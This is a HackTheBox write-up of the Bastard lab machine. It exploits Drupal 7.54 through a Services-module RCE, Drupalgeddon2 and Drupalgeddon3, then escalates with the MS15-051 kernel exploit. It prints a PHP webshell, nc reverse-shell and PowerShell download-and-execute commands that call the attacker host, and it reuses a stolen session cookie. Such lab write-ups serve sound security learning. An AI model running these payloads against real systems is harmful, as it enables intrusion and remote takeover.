Bastard-cover

Bastard was the 7th box on HTB, and it presented a Drupal instance with a known vulnerability at the time it was released. I’ll play with that one, as well as two more, Drupalgeddon2 and Drupalgeddon3, and use each to get a shell on the box. The privesc was very similar to other early Windows challenges, as the box is unpatched, and vulnerable to kernel exploits.

nmap returns http (port 80) and two MSRPC ports (135 and 49154):

I can also see that the website is running IIS 7.5, which is the default IIS for Windows 7 / Server 2008r2. I’ll also see the webserver is hosting Drupal 7.

Site

The site is a Drupal page, without any content:

Version

The nmap scan showed me the output of the the robots.txt which included a CHANGELOG.txt. If I check the top of that page, I’ll see Drupal 7.54:

root@kali# curl -s http://10.10.10.9/CHANGELOG.txt | head

Drupal 7.54, 2017-02-01
-----------------------
- Modules are now able to define theme engines (API addition:
  https://www.drupal.org/node/2826480).
- Logging of searches can now be disabled (new option in the administrative
  interface).
- Added menu tree render structure to (pre-)process hooks for theme_menu_tree()
  (API addition: https://www.drupal.org/node/2827134).
- Added new function for determining whether an HTTPS request is being served

Exploits

There are distinct exploits for the core Drupal identified by searchsploit. Drupalgeddon2 (March 2018) and Drupalgeddon3 (April 2018) were both not known when this box was released in March 2017. So the intended exploit is likely “Drupal 7.x Module Services - Remote Code Execution”.

Exploit in Module Services

Enumeration

I’ll use -m to get a copy of the script in my current dir, searchsploit -m exploits/php/webapps/41564.php, and open it up. There’s a section I need to customize, that will allow me to specify url, endpoint_path, endpoint, filename, and data. I know the url already, but I need to find the endpoint_path. For some reason gobuster wasn’t playing nice with bastard, but I dirsearch worked nicely (even if a bit slow):

root@kali# python3 /opt/dirsearch/dirsearch.py -u http://10.10.10.9/ -e php -x 403,404 -t 50

Task Completed

I’ll see the /rest is a valid path. When I check it out, it gives me the endpoint:

root@kali# curl http://10.10.10.9/rest
Services Endpoint "rest_endpoint" has been setup successfully.

I’ll update the script:

$url = 'http://10.10.10.9';
$endpoint_path = '/rest';
$endpoint = 'rest_endpoint';

$file = [
    'filename' => '0xdf.php',
    'data' => '<?php system($_REQUEST["cmd"]); ?>'
];

Execution

Before I run it, I will need to make sure php-curl is installed: apt install php-curl

I also need to fix a couple places where comments seem to have wrapped onto the next line. Once I get all that, I can run it:

This gives me several options. Inside session.json, I now have the cookies for the administrator’s session:

    "session_id": "GCGJfJI7t9GIIV7M7NLK8ARzeURzu83jxeqI2_qcDGs",

}

I also have information on the users in user.json:

        }
    },
    "pass": "$S$DRYKUR0xDeqClnV5W0dnncafeE.Wi4YytNcBmmCtwOjrcH5FJSaE"
}

I can identify that hash as Drupal 7, and try to break it:

$ hashcat -m 7900 admin.hash /usr/share/wordlists/rockyou.txt -o admin.cracked --force

However, that was going to take about three days on my system, and I don’t really need the password at this point.

Most useful, I have a webshell:

root@kali# curl http://10.10.10.9/0xdf.php?cmd=whoami
nt authority\iusr

Shell - nc

I’ll use smbserver to share a copy of nc64.exe, and use that to get a shell by visiting http://10.10.10.9/0xdf.php?cmd=\\10.10.14.14\share\nc64.exe%20-e%20cmd.exe%2010.10.14.14%20443

Drupalgeddon2

Python Script - Fail

One of the options for Drupalgeddon2 is a python script, so I started with that. I’ll use -m to get a copy of the script in, searchsploit -m exploits/php/webapps/44448.py. The script was a bit of a pain to get to run, but when I put in 'http://10.10.10.9/', it returns not vulnerable:

root@kali# python 44448.py

Enter target url (example: https://domain.ltd/): 'http://10.10.10.9/'
Not exploitable

Ruby Script

However, on reading about Drupalgeddon2, it seems this is testing the vulnerability on a Drupal 8 specific path.

I’ll try the ruby script, searchsploit -m exploits/php/webapps/44449.rb. Now I’ll run it, and it returns the help, and a warning:

root@kali# ruby 44449.rb 
ruby: warning: shebang line ending with \r may cause problems
Usage: ruby drupalggedon2.rb <target>
       ruby drupalgeddon2.rb https://example.com

I’ll fix the warning about \r with dos2unix:

root@kali# dos2unix 44449.rb 
dos2unix: converting file 44449.rb to Unix format...
root@kali# ruby 44449.rb 
Usage: ruby drupalggedon2.rb <target>
       ruby drupalgeddon2.rb https://example.com

Now I’ll run it against my target, and it crashes:

Interesting. It think’s CHANGELOG.txt is missing? But I looked at it earlier.

At the top of the script, there’s a place I can set a proxy. I’ll set it to localhost:

# Settings - Proxy information (nil to disable)
proxy_addr = '127.0.0.1'
proxy_port = 8080

I’ll clear my burp history, and then run the exploit:

1551965316788

The attempt to check CHANGELOG.txt is a POST, and it returns an error that the HTTP verb is bad:

I’ll turn intercept on, and run the exploit again. This time, I’ll change POST to GET, and then let things go. I get a shell:

[*] Dropping back to ugly shell...
drupalgeddon2>> whoami
nt authority\iusr

It turns out there’s also an updated version on GitHub, and it works out of the box (and doesn’t print some annoying debug information).

Shell - Nishang

I can upgrade this to a Nishang shell by grabbing a copy of Invoke-PowerShellTcp.ps1, adding a call to the function to the end, Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.14 -Port 443, and then serving that directory with python3 -m http.server 80. I’ll also open a nc listener on port 443.

Then I give this command to the Drupalgeddon2 shell:

drupalgeddon2>> powershell iex(new-object net.webclient).downloadstring('http://10.10.14.14/shell.ps1')

My python webserver gets the request for shell.ps1 and sends it:

root@kali# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.9 - - [07/Mar/2019 08:35:14] "GET /shell.ps1 HTTP/1.1" 200 -

When shell.ps1 is run, it loads all the functions, and then invokes the reverse shell to me on port 443, which I get in nc:

root@kali# nc -lnvp 443

Drupalgeddon3

Enumeration

I’ll check out the details of Drupalgeddon3 using searchsploit -x exploits/php/webapps/44542.txt. Reading that, it says “You must be authenticated and with the power of deleting a node.” So it would not be an option taking this box from scratch. That said, I have access to the cookie for the admin thanks to the first exploit I ran, so I’ll give this a run using that.

First I’ll show that I can log in. I’ll use the Firefox plugin “Cookie Manager” to add a cookie “SESSd873f26fc11f2b7e6e4aa0f6fce59913=GCGJfJI7t9GIIV7M7NLK8ARzeURzu83jxeqI2_qcDGs”. On refreshing, I see I’m now logged in as admin:

1551978371907

I also will want to get the node id of an existing node. If I click on “Find Content”, I can get a list of current content:

1551979251624

1551979276991

Clicking on the “REST” link takes me to http://10.10.10.9/node/1, so I’ll take it that node 1 exists.

Exploit

There’s a python script to execute the attack for me. I’ll grab a copy and run it to see it requires the url, the session cookie, an existing node, and the command:

root@kali# python drupalgeddon3.py 

[Usage]
python drupalgeddon3.py [URL] [Session] [Exist Node number] [Command]

[Example]
python drupalgeddon3.py http://target/drupal/ "SESS60c14852e77ed5de0e0f5e31d2b5f775=htbNioUD1Xt06yhexZh_FhL-h0k_BHWMVhvS6D7_DO0" 6 "uname -a"

Using the cookie info from the first exploit and the node I found earlier, I can now get RCE:

root@kali# python drupalgeddon3.py http://10.10.10.9/ "SESSd873f26fc11f2b7e6e4aa0f6fce59913=GCGJfJI7t9GIIV7M7NLK8ARzeURzu83jxeqI2_qcDGs" 1 "whoami"

Shell - Nishang

So I can get a shell this way with Nishang:

root@kali# python drupalgeddon3.py http://10.10.10.9/ "SESSd873f26fc11f2b7e6e4aa0f6fce59913=GCGJfJI7t9GIIV7M7NLK8ARzeURzu83jxeqI2_qcDGs" 1 "powershell iex(new-object net.webclient).downloadstring('http://10.10.14.14/shell.ps1')"

Immediately that points to a kernel exploit. I’ve done a few different ways to enumerate for Windows kernel exploits in recent posts (Devel without MSF, Devel with MSF, Granny with MSF), so I won’t spend too much time enumerating here.

I like this reference for finding Windows Exploits. MS15-051 jumps out as one I’ve used successfully before.

MS15-051

I’ll grab it from here: https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS15-051/MS15-051-KB3045171.zip

I’ll use smbserver to share the 64-bit version. Then I’ll run:

PS C:\inetpub\drupal-7.54> \\10.10.14.14\share\ms15-051x64.exe "whoami"

I can use it to get a shell as well:
